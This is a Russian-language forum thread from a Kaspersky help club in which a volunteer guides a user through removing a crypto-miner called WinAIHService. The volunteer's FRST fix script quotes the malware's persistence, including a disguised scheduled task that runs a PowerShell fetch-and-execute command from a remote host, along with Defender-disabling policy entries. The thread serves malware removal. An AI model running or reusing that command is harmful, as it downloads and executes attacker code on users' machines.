[РЕШЕНО] Майнер с названием WinAIHService

[Shieteu]

Столкнулся на днях с тем,то что в системе появился майнер с названием WinAIHService.exe, пытался самостоятельно удалить файлы, удалять его из автозагрузки и параметр на автозагрузку в реестре, все безуспешно, вот архив с логом от автологгера:CollectionLog-2025.10.03-11.35.zip

[Shieteu]

Также прикреплю отчеты от FRSTAddition and FRST.rar

[Sandor]

Здравствуйте!

 

Примите к сведению - после выполнения скрипта (возможно) все открытые вкладки браузеров будут закрыты, произойдет выход из аккаунтов, временные файлы, корзина, история браузеров, куки и кэш будут очищены.

• Отключите до перезагрузки антивирус.
• Выделите следующий код:

  Start::
  CloseProcesses:
  SystemRestore: On
  CreateRestorePoint:
  HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiSpyware] Ограничение <==== ВНИМАНИЕ
  HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiVirus] Ограничение <==== ВНИМАНИЕ
  HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ограничение <==== ВНИМАНИЕ
  Task: {9CE57D0D-15D3-4459-9FAE-F10CD6294626} - System32\Tasks\Microsoft\Office\Office Persistent Activation => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2025-09-10] (Microsoft Windows -> Microsoft Corporation) -> -Command "irm hxxps://activate.techias.co.uk/ | iex" <==== ВНИМАНИЕ
  ProxyServer: [S-1-5-21-3259035200-1569438540-2830552035-1001] => hxxp://127.0.0.1:12334
  RemoveProxy:
  CHR StartupUrls: Default -> "hxxp://mypoisk.su/"
  S3 PDFWKRNL; \??\C:\WINDOWS\SystemTemp\USBCPDFW\pdfwkrnl.sys [X]
  AlternateDataStreams: C:\WINDOWS\tracing:? [16]
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\regfile:  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.reg:  =>  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.bat:  =>  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.cmd:  =>  <==== ВНИМАНИЕ
  FirewallRules: [{fceb0998-b671-4fdc-95b3-eb458e687d28}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
  FirewallRules: [{a1d0f5ea-3f97-4a01-a4af-e4353d001be9}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
  FirewallRules: [{ADB0A096-466F-40C0-A130-4BED1EBC728E}] => (Allow) C:\Users\Shieteu\AppData\Roaming\BitTorrent\BitTorrent.exe => Нет файла
  FirewallRules: [{BD201553-3891-4759-9E80-4A098C532495}] => (Allow) C:\Users\Shieteu\AppData\Roaming\BitTorrent\BitTorrent.exe => Нет файла
  EmptyTemp:
  Reboot:
  End::

   

• Скопируйте выделенный текст (правой кнопкой - Копировать).
• Запустите FRST (FRST64) от имени администратора.
• Нажмите Исправить (Fix) один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.

[Shieteu]

Fixlog.txtВот файл

 

[Sandor]

Сделайте полную проверку с помощью KVRT. Если будут обнаружения, папку C:\KVRT2020_Data\Reports упакуйте в архив и прикрепите к следующему сообщению.

 

p.s.

Вы напрасно выполняли скрипты, написанные для других пользователей.

Скрипты в этом разделе пишутся индивидуально и, выполняя чужой, в лучшем случае ничего не произойдёт, а в худшем вы рискуете повредить систему.

[Shieteu]

Спасибо огромное,в kvrt обнаружений не было

 

[Sandor]

Отлично!

В завершение, пожалуйста:

1.

Переименуйте FRST.exe (или FRST64.exe) в uninstall.exe и запустите.
Компьютер перезагрузится.

Остальные утилиты лечения и папки можно просто удалить.
 

2.

• Загрузите SecurityCheck by glax24 & Severnyj, сохраните утилиту на Рабочем столе и извлеките из архива.
• Запустите из меню по щелчку правой кнопки мыши Запустить от имени администратора
• Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу
• Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt
• Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
• Прикрепите этот файл к своему следующему сообщению.

[Shieteu]

SecurityCheck.txt

 

[Sandor]

Исправьте по возможности:

 

Контроль учётных записей пользователя включен
Запрос на повышение прав для администраторов отключен
^Рекомендуется включить уровень по умолчанию: Win+R ввести UserAccountControlSettings и Enter^
 

Так ли страшен контроль учетных записей (UAC)?

 

Брандмауэр Защитника Windows (mpssvc) - Служба работает
Отключен доменный профиль Брандмауэра Windows
Отключен общий профиль Брандмауэра Windows
Отключен частный профиль Брандмауэра Windows
AMD Software v.25.9.1 Внимание! Скачать обновления
Git v.2.50.1 Внимание! Скачать обновления
Microsoft Visual Studio Code (User) v.1.104.0 Внимание! Скачать обновления
7-Zip 24.09 (x64) v.24.09 Внимание! Скачать обновления
^Удалите старую версию, скачайте и установите новую.^
WinRAR 7.11 (64-разрядная) v.7.11.0 Внимание! Скачать обновления
Discord v.1.0.9188 Внимание! Скачать обновления
AmneziaVPN v.4.8.7.2 Внимание! Скачать обновления
Java 8 Update 51 (64-bit) v.8.0.510 Внимание! Скачать обновления
^Удалите старую версию и установите новую (jre-8u461-windows-x64.exe - Windows Offline (64-bit))^
Zen Browser (x64 en-US) v.1.16b Внимание! Скачать обновления
Google Chrome v.140.0.7339.208 Внимание! Скачать обновления
^Проверьте обновления через меню Справка - О браузере Google Chrome!^
 

Читайте Рекомендации после удаления вредоносного ПО

[Sandor]

Мы были рады Вам помочь! Надеемся, что Вы остались довольны результатом. На нашем форуме также можно получить компьютерную помощь, помощь по продуктам "Лаборатории Касперкого", обсудить технологии и технику, заказать эксклюзивную сувенирную продукцию "Лаборатории Касперского" бесплатно! Форумчане ежегодно путешествуют. В числе приглашенных в Турцию, Армению, Сочи, Камбоджу можете быть и Вы! Будем рады видеть Вас в наших рядах! Всегда ваш, клуб "Лаборатории Касперского".